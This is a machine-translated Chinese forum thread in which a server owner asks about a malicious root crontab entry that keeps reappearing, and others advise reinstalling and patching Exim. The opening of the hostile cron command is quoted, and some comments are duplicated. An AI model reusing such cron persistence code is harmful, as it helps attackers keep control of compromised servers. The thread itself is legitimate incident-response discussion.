Server 我的服务器的crontab中的这个条目做什么？,server,cron,rootkit,Server,Cron,Rootkit,我收到了一大堆来自cron jobs的邮件，看起来很奇怪，所以我去调查我发现一个奇怪的crontab条目，我已经粘贴在下面起初我试着跑： crontab -u root -l 这显示了大cron作业，所以我立即删除了条目 */11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|

我收到了一大堆来自cron jobs的邮件，看起来很奇怪，所以我去调查

我发现一个奇怪的crontab条目，我已经粘贴在下面

起初我试着跑：

crontab -u root -l

这显示了大cron作业，所以我立即删除了条目

我相信cron邮件现在会停止，但我想知道这个条目在做什么。

谢谢。我查看了/root/.cache/.ntp，它是空的。然而，即使我删除了crontab，我仍然会收到cron电子邮件。有一次，cron再次出现，我再次将其删除。电子邮件不断传来…@escozul我怀疑脚本可能是复制到了其他地方。您可以尝试查看下载的文件以查看其内容，或者删除整个内容并从已知的良好备份中恢复。谢谢。我查看了/root/.cache/.ntp，它是空的。然而，即使我删除了crontab，我仍然会收到cron电子邮件。有一次，cron再次出现，我再次将其删除。电子邮件不断传来…@escozul我怀疑脚本可能是复制到了其他地方。您可以尝试查看下载的文件以查看其内容，或者删除整个内容并从已知的良好备份中恢复。好。好啊让我们在这里保持冷静。。。因为我很恐慌。。这是一个开发服务器，我不介意丢失它的任何数据。所以很好。我甚至可以重置它，但我想利用这个机会学习一些东西。那么，我有没有办法阻止它在cron中再次出现？我是说。。。他们知道我的根密码吗？他们是如何理解我的ssh端口的？只是为了更新，cron一直以crontab的形式重新出现。如果您不关心数据，最安全的方式是格式化，因为如果我们可以看到当前脚本正在做什么，我们就不知道之前或手动做了什么。所以格式化并安装一个干净的系统。如果您使用Exim，请不要忘记检查它是否是最新的、经过修补的，或者检查受最近0天和10天影响的任何其他软件
